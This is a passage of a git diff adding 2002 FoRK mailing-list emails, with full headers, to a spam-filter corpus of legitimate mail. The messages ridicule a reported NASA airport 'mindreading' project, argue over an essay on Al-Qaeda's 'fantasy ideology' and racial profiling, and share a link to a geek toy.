Aug 2002 00:46:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp-relay-3.sea.adobe.com (smtp-relay-3.adobe.com + [192.150.22.10]) by xent.com (Postfix) with ESMTP id 871F0294098 for + ; Sat, 17 Aug 2002 00:45:18 -0700 (PDT) +Received: from inner-relay-3.corp.adobe.com (inner-relay-3 + [153.32.251.51]) by smtp-relay-3.sea.adobe.com (8.12.3/8.12.3) with ESMTP + id g7H7jZZN022798 for ; Sat, 17 Aug 2002 00:45:35 -0700 + (PDT) +Received: from mailsj-v1.corp.adobe.com (mailsj-dev.corp.adobe.com + [153.32.1.192]) by inner-relay-3.corp.adobe.com (8.12.3/8.12.3) with ESMTP + id g7H7hCQG018824 for ; Sat, 17 Aug 2002 00:43:12 -0700 + (PDT) +Received: from scarab23.adobe.com ([130.248.184.133]) by + mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15 v1 Jul 11 2001 + 16:32:57) with ESMTP id H0Z9LK00.5B5 for ; Sat, + 17 Aug 2002 00:46:32 -0700 +Message-Id: <4.3.2.7.2.20020817003903.0215d3e0@mailsj-v1> +X-Sender: carkenbe@mailsj-v1 +X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 +To: fork@spamassassin.taint.org +From: Chris Arkenberg +Subject: NASA mindreading +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 00:46:49 -0700 + +NASA Plans to Read Terrorist's Minds at Airports +http://www.washtimes.com/national/20020817-704732.htm + +This just strikes me as being so ridiculously bizarre. We are truly +beginning to blur reality with science fiction. Makes me think of Minority +Report (although PKD realized this future decades ago). Especially +concerning (or intriguing?) is the revelation that "the agency is +developing brain-monitoring devices in cooperation with a commercial firm, +which it did not identify". + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01052.7a69c765a964be2a05e33723b7ab926f b/bayes/spamham/easy_ham_2/01052.7a69c765a964be2a05e33723b7ab926f new file mode 100644 index 0000000..c3d94c1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01052.7a69c765a964be2a05e33723b7ab926f @@ -0,0 +1,78 @@ +From fork-admin@xent.com Mon Aug 19 11:04:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 84EE9441A9 + for ; Mon, 19 Aug 2002 05:55:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H9XR625628 for ; + Sat, 17 Aug 2002 10:33:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id F373029409A; Sat, 17 Aug 2002 02:31:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id D7224294098 for + ; Sat, 17 Aug 2002 02:30:30 -0700 (PDT) +Received: (qmail 4564 invoked by uid 508); 17 Aug 2002 09:31:48 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.77) by + venus.phpwebhosting.com with SMTP; 17 Aug 2002 09:31:48 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7H9Vik23356; Sat, 17 Aug 2002 11:31:45 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Chris Arkenberg +Cc: +Subject: Re: NASA mindreading +In-Reply-To: <4.3.2.7.2.20020817003903.0215d3e0@mailsj-v1> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 11:31:44 +0200 (CEST) + +On Sat, 17 Aug 2002, Chris Arkenberg wrote: + +> This just strikes me as being so ridiculously bizarre. We are truly + +If it strikes you as being ridiculously bizarre, you're probably right. +Because it is ridiculous, and bizarre. + +> beginning to blur reality with science fiction. Makes me think of Minority + +No, rather a new breakthrough in ballistic snake oil delivery. So it's +built into a walkthrough gate, and is noninvasive. It's supposed to +analyse brain and heart activity. While you can pick up heartbeat by +Doppler radar, later tells it's realtime DSP on an array of SQIDs. Later +they mention they use passive IR imaging and eye saccade evaluation. Maybe +they're also doing a Kirlian reading, and recording your mana flux, too. +(Conclusive evaluation by entrail reading is nonoptional only for +confirmed terrorists). + +So they claim terrorist intent translates in biosignatures they can pick +up by close-distance passive telemetry, in realtime, with a very low +number of false positives, while having no chance to calibrate, in the +field. + +Right. + +Seems somebody is so awfully eager to pick up a slice of research grant +pie from the heimatland securitate money they haven't even bothered to +invent a plausible lie. + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01053.21ea199fc91688bd61caad77676702b8 b/bayes/spamham/easy_ham_2/01053.21ea199fc91688bd61caad77676702b8 new file mode 100644 index 0000000..74c0a07 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01053.21ea199fc91688bd61caad77676702b8 @@ -0,0 +1,186 @@ +From fork-admin@xent.com Mon Aug 19 11:04:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9113B441AA + for ; Mon, 19 Aug 2002 05:55:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HErb601619 for ; + Sat, 17 Aug 2002 15:53:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6AD3F2940D6; Sat, 17 Aug 2002 07:51:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) + by xent.com (Postfix) with ESMTP id 01F4A294098 for ; + Sat, 17 Aug 2002 07:50:41 -0700 (PDT) +Received: from localhost ([24.61.140.132]) by rwcrmhc51.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020817145201.NEJF1746.rwcrmhc51.attbi.com@localhost>; Sat, + 17 Aug 2002 14:52:01 +0000 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <21859183.20020817105159@magnesium.net> +To: Gary Lawrence Murphy +Cc: fork@spamassassin.taint.org +Subject: Re[4]: Al'Qaeda's fantasy ideology: Policy Review no. 114 +In-Reply-To: +References: <58113821767.20020816230818@magnesium.net> + + <32120604960.20020817010121@magnesium.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 10:51:59 -0400 + + +GLM> Hate-lit rests on a premise that "them" are fundamentally different +GLM> critters from "us" and thus, by being "them-like" they, as a +GLM> classification, "bring it on themselves" for us to "correct" them by +GLM> any means gruesome we might choose, after all, it's not /us/ pulling +GLM> the trigger, it's "them", right? I've heard Bush say this (verbatim) +GLM> more than once, and with a straight face. + +Personally, I don't know where you got that from. Here's how I +grokked the whole piece. A theory (in this case, that fantasy was +the propagating force/drive?) behind a given act, that from those not +in the fantasy seems morally outrageous, repugnant or unjustified. +He listed many examples, oldies and goodies. I don't think the +author meant to come off at the point that you seem to be +conjecturing -- that this is purely an 'other' offense. I certainly +didn't read it that way, but it _did_ bother me that he did not +include some of the examples I listed, or as Damien? mentioned on an +earlier post, the whole collective fantasy of capitalism. + +GLM> Call it gay-bashing or whatever, it's convenient tunnel-vision and +GLM> lies to justify violence against a creature genetically, morally and +GLM> intellectually indistinguishable from your sister. Go ahead, peel the +GLM> skin off a random daughter of each of them and lay them side by side +GLM> on the pavement, and you tell me which one was racially guilty, which +GLM> one carried the "infection" the "plague" (note, not the "antigen" or +GLM> the "hormone", which have similar metaphoric effects to philosophy, +GLM> but they chose the fear-charged words) + +This article never got into the bones & blood of what humans are Gary. + You're assuming too much, dearie. His was all a psychological game. +I'd be willing to wager that, his point was merely psychological. +That there is a distinguishing characteristic (the fantasy) about +those who are perpetually deluded into a preconceived notion of how +the world needs to work -- his examples were very clear -- a +psychopathological individual and on a lesser extreme, the father who +fantasizes his son as a football player. I kinda read 'levels' into +that distinguishing characteristic though. Meaning, just because +you believe in the/a fantasy, does not mean necessarily that you're +going to be an evil terrorist. It just means you're playing alittle +game in your head, and because of that you are a bit different from +the rest of the wavelengths floating around in the cosmos at that +moment. + + + +GLM> "Make no mistake about it" it oozes rhetorical vehicles to obfuscate +GLM> it's lack of bits paragraph after paragraph in pushing an agenda to +GLM> /excuse/ "our" violence and suspension of human rights to 'clense' +GLM> ourselves of "them", the 'non-human' (or lesser-human) objects of its +GLM> hate. + + +I didn't read cleanse or nonhuman anywhere. Mind telling me where +you saw those words? Sure, I'll bite that the article had rhetoric. +I'll also bite that he wasn't fair entirely with his theory. If he +meant it to be a universal (capable of including even the common +father with a football complex dream) he should have included our +delusions in all of this. But honestly, where in the hell did you +get 'cleanse ourselves of 'them', the 'non-human' (or lesser-human) +objects... ? + +GLM> What else shall we call it? Just anti-liberal? + +Lots of things can be anti-liberal and not be bad. :) + +GLM> Better question: What if, as in physics, the laws of human behaviour +GLM> are the same everywhere in the Universe? What if Al Queda is in fact +GLM> more like our mafia or biker gangs or school board trustees? + +Well, as sinister as the schoolboard is, they didn't go kill 4k+ +people. Lets put some of this moral relativism de jour into +perspective here. Al'Qaeda had a fantasy. This fantasy involved a +whole mess of 'others' not in their collective fantasy. This _is_ +much like the mafia's collective fantasy about brotherhood and +organized crime, or the biker gang's fantasy about being badasses on +the road or the school board's fantasy about indoctrinating your +children with Jesus, but its not equivalent. + +The terrorists went out, and purposely destroyed things, and killed +people. This is bad, I don't care what universe you're in. While +the aspect of 'fantasy' can be applied to all groups, and that label +can be equivalent, the perpetration of the fantasy has different +effects and must be judged differently. Otherwise, whats a genocide? +Just a father-son complex gone terribly awry? + +GLM> What if they operate by the same neural-annealing Maxima-Minima +GLM> gratification mechanisms as you or I and every other creature on this +GLM> planet? + +They just may, that doesn't dispute that their fantasy was a deadly +one. + +GLM> What if, instead of magically and uniquely alien, they are, just like +GLM> our own captains and leaders, really only in it for the money, for +GLM> trade rights-of-way and for power over minions who will foolishly make +GLM> it all happen, minions whom they can once again dup with /virtually/ +GLM> /identical/ rhetoric ... except we call theirs "fundamentalist islam", +GLM> and they call ours "imperialist satanism"? + +GLM> When both sides can call the other "evil" to the cheers of their local +GLM> public and media, you can bet something's rotten in the state of Denmark. + +So your whole point is we too live in a fantasy. Sure. No +questions. Its the thing that bothered me about the article. I +think the difference between our fantasy and theirs, is that there are +folks out there, in our fantasy allowed to voice their opinons about +the 'fantasy' and keep folks a bit grounded in the real versus the +made-up. From what I gather, there are no such guards, or +protections on their end. Thats the problem with some regeimes over +others. THey all have bad points -- Ours is in a collective fantasy +that we need to control the oil, masking the intentions behind a very +clever, albiet convienent other fantasy of 'terrorism'. Point is, +Gary, the 'terrorism' fantasy really happened. People really died. +I won't argue we're innocent in the perpetration of our fantasy, but +I'll argue that we're not just blindly 'cleansing' 'non-humans'. + +GLM> I guess that's why I live in the woods. Bears and racoons I +GLM> understand, but I really just don't 'get' people. + +Too bad bears and racoons don't protect you from the silly fantasies +of people, yours or others. + + + + + + +-- +Best regards, + bitbitch mailto:bitbitch@magnesium.net + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01054.1e9a5e1afc1fbf590c331b2464045ec5 b/bayes/spamham/easy_ham_2/01054.1e9a5e1afc1fbf590c331b2464045ec5 new file mode 100644 index 0000000..a2ad15d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01054.1e9a5e1afc1fbf590c331b2464045ec5 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Mon Aug 19 11:04:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B2E88441AB + for ; Mon, 19 Aug 2002 05:55:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HFcU602927 for ; + Sat, 17 Aug 2002 16:38:33 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 389812940E3; Sat, 17 Aug 2002 08:36:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id AD8A5294098 for ; + Sat, 17 Aug 2002 08:35:17 -0700 (PDT) +Received: from maya.dyndns.org (ts5-043.ptrb.interhop.net + [165.154.190.107]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7HFAh107765 for ; Sat, 17 Aug 2002 11:10:43 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 662AD1C388; + Sat, 17 Aug 2002 11:28:20 -0400 (EDT) +To: +Subject: Re: NASA mindreading +References: +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 17 Aug 2002 11:28:20 -0400 + +>>>>> "E" == Eugen Leitl writes: + + E> Seems somebody is so awfully eager to pick up a slice of + E> research grant pie from the heimatland securitate money they + E> haven't even bothered to invent a plausible lie. + +Seems also from the news being reported that it's likely they already +have a slice of that pie, which says something about the mindset of +the people handing out the slices. Ditto for the biometric airport ID +machines. + +My personal raw guess: The people with the pie /already/ /know/ the +people with the Ghostbusters Gear, they play golf regularly, have for +years, and perhaps even co-own some private venture that profits win +or lose from the grant. 9-11 seems to have made every +security-oriented-corp shareholder's eyes light up with +red-white-and-blue dollar signs, and like sharks to a cut swimmer or +psychologists to a distressed town, they came swarming on the +motherlode. + +I only guess that because the pattern seems historically so +statistically prevalent. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01055.184a082c4cdebfb90adc3d6d0bfbfa69 b/bayes/spamham/easy_ham_2/01055.184a082c4cdebfb90adc3d6d0bfbfa69 new file mode 100644 index 0000000..f767aa5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01055.184a082c4cdebfb90adc3d6d0bfbfa69 @@ -0,0 +1,104 @@ +From fork-admin@xent.com Mon Aug 19 11:04:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 782E4440F9 + for ; Mon, 19 Aug 2002 05:55:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HFhc602968 for ; + Sat, 17 Aug 2002 16:43:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A93542940E8; Sat, 17 Aug 2002 08:36:12 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id D14C42940E3 for ; + Sat, 17 Aug 2002 08:35:20 -0700 (PDT) +Received: from maya.dyndns.org (ts5-043.ptrb.interhop.net + [165.154.190.107]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7HFAh107766 for ; Sat, 17 Aug 2002 11:10:43 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id A34D61C336; + Sat, 17 Aug 2002 11:15:36 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114 +References: <58113821767.20020816230818@magnesium.net> + + <32120604960.20020817010121@magnesium.net> + + <20020817070601.GG9238@ibu.internal.qu.to> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 17 Aug 2002 11:15:36 -0400 + +>>>>> "N" == Ned Jackson Lovely writes: + + N> On Sat, Aug 17, 2002 at 01:51:25AM -0400, Gary Lawrence Murphy + N> wrote: + + N> By choosing that term you are certainly attempting to frame the + N> debate by choosing a fear-charged word. + +And "moral relativism" is not? + + N> If somebody maximizes their gratification by slaughtering + N> people, we shouldn't just try to understand them. We should try + N> to stop them. + +The history of crime and punishment illustrates the need for /both/, +and while there are slaughter-maxima people living in Queens (or +Montreal or Milan or ...), I would not condone blanket justifications +to "cure" everyone who looks like them with suspended rights and +violence. Do we suspect every tall black man because of OJ Simpson? + +By the logic of that article, which is apparently endorsed by at least +a few FoRKers, should I keep all Americans at an arms distance for +fear I'll be infected with the same paranoiac blood-lust meme-virus? +After-all, it's a disease, just like a plague, right? + +Ok, ok, so maybe I /do/ keep a few Yanks in quarantine, fenced off +with chickenwire out in the back 40, but that's besides the point. At +least I feed them. + +Wait, wait ... enough tit-for-tat, how about a technical question: How +would _you_ /know/ if you _were_ infected? Wouldn't the schizophrenia +of the diseased meme be transparent to you, perfectly bonded into your +reality? + + N> People require a touch more effort. + +Spoken exactly like those people I do not understand, because the +specist statement is patently false by /all/ measures known to +science, yet they so adamantly believe the farce is truth. Would you +also believe the Earth is at the center of the Universe, put here for +our exclusive enjoyment because God loves us best? + +"To the enlightened mind, there is no difference between a Brahmin +and a dog" --- guess which moral relativist said it and where. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01056.6e58de5f5a270a1873f731774d760a80 b/bayes/spamham/easy_ham_2/01056.6e58de5f5a270a1873f731774d760a80 new file mode 100644 index 0000000..8ba4aa1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01056.6e58de5f5a270a1873f731774d760a80 @@ -0,0 +1,71 @@ +From fork-admin@xent.com Mon Aug 19 11:04:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 51425440FB + for ; Mon, 19 Aug 2002 05:55:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:24 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HG6Z603597 for ; + Sat, 17 Aug 2002 17:06:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 75A422940E0; Sat, 17 Aug 2002 09:04:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 82AFA294098 for ; + Sat, 17 Aug 2002 09:03:16 -0700 (PDT) +Received: from maya.dyndns.org (ts5-016.ptrb.interhop.net + [165.154.190.80]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7HFce111360; Sat, 17 Aug 2002 11:38:40 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 5F2C41C388; + Sat, 17 Aug 2002 11:57:53 -0400 (EDT) +To: bitbitch@magnesium.net +Cc: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +References: <58113821767.20020816230818@magnesium.net> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 17 Aug 2002 11:57:53 -0400 + + +Well, for example .. + +>>>>> "b" == bitbitch writes: + + b> Once we understand this [ the fantasy virus model ], many of + b> our current perplexities will find themselves + b> resolved. Pseudo-issues such as debates over the legitimacy of + b> “racial profiling” would disappear: Does anyone in his right + b> mind object to screening someone entering his country for signs + b> of plague? Or quarantining those who have contracted it? Or + b> closely monitoring precisely those populations within his + b> country that are most at risk? + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01057.b2810601523d3bb9051088959078e309 b/bayes/spamham/easy_ham_2/01057.b2810601523d3bb9051088959078e309 new file mode 100644 index 0000000..baeb96d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01057.b2810601523d3bb9051088959078e309 @@ -0,0 +1,99 @@ +From fork-admin@xent.com Mon Aug 19 11:04:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C709B441AC + for ; Mon, 19 Aug 2002 05:55:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:25 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HGVW604274 for ; + Sat, 17 Aug 2002 17:31:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D05DF2940CC; Sat, 17 Aug 2002 09:29:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) + by xent.com (Postfix) with ESMTP id 60F14294098 for ; + Sat, 17 Aug 2002 09:28:28 -0700 (PDT) +Received: from localhost ([24.61.140.132]) by rwcrmhc51.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020817162947.SCIN1746.rwcrmhc51.attbi.com@localhost>; Sat, + 17 Aug 2002 16:29:47 +0000 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <57724407.20020817122944@magnesium.net> +To: Gary Lawrence Murphy +Cc: fork@spamassassin.taint.org +Subject: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114 +In-Reply-To: +References: <58113821767.20020816230818@magnesium.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 12:29:44 -0400 + +Hello Gary, + + +Uh, plague is not action. No, no one has a problem quarantining +someone who has say, Ebola, or malaria, because diseases do not +require any decisive action -- just contact. + +fantasies, still require decisive action, even if its in conjunction +with the way the fantasy works in the individual's brain. Many people +have very strange and obscure fantasies (say wanting to be a model) +that dont' require them to be locked up. + +Fantasies aren't nearly as much like plagues. Not everyone in a +given population necessarily adheres to that given fantasy, whereas +everyone can get a given plague. (BTW, gary, the whole concept of +monitoring a given 'racial populaiton' for fear of them getting a +plague is silly. I don't think plagues discriminate) + +You're trying to argue for a lock'em all up mentality, when I don't +think anyone but you has even mentioned it. His point was that +fantaesies were a psychological? explanation for a possible event. +Not that all people who have them, or even have a certain type, need +to be locked up, quarantined, killed, rubbed-out or cleansed. + + + +GLM> Well, for example .. + +>>>>>> "b" == bitbitch writes: + +GLM> b> Once we understand this [ the fantasy virus model ], many of +GLM> b> our current perplexities will find themselves +GLM> b> resolved. Pseudo-issues such as debates over the legitimacy of +GLM> b> “racial profiling” would disappear: Does anyone in his right +GLM> b> mind object to screening someone entering his country for signs +GLM> b> of plague? Or quarantining those who have contracted it? Or +GLM> b> closely monitoring precisely those populations within his +GLM> b> country that are most at risk? + + + + +-- +Best regards, + bitbitch mailto:bitbitch@magnesium.net + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01058.b4b7fcdc28f355bf29228dc20d7455cb b/bayes/spamham/easy_ham_2/01058.b4b7fcdc28f355bf29228dc20d7455cb new file mode 100644 index 0000000..6641a81 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01058.b4b7fcdc28f355bf29228dc20d7455cb @@ -0,0 +1,66 @@ +From fork-admin@xent.com Mon Aug 19 11:04:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C15FC441AD + for ; Mon, 19 Aug 2002 05:55:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:28 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7HJ7V607870 for ; + Sat, 17 Aug 2002 20:07:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5CA252940D7; Sat, 17 Aug 2002 12:05:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) + by xent.com (Postfix) with ESMTP id 6CEA8294098 for ; + Sat, 17 Aug 2002 12:04:33 -0700 (PDT) +Received: from localhost ([24.61.140.132]) by rwcrmhc52.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020817190553.VAMY1186.rwcrmhc52.attbi.com@localhost> for + ; Sat, 17 Aug 2002 19:05:53 +0000 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <19717091666.20020817150551@magnesium.net> +To: fork@spamassassin.taint.org +Subject: Heh heh heh -- Geekmod! +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 15:05:51 -0400 + +Hello fork, + + Whilst digitally meandering around google answers + (answers.google.com) I came upon an interesting question: 'Whats + the coolest geektoy for under $50' and an equally nifty answer + (albiet a bit off the mark for the question, but it wasn't my money, + so who cares). + + http://www.soundwise.org/id49.htm + + Hee. Visualization with real lights instead of just winamp. + Sliiiiccckk. + 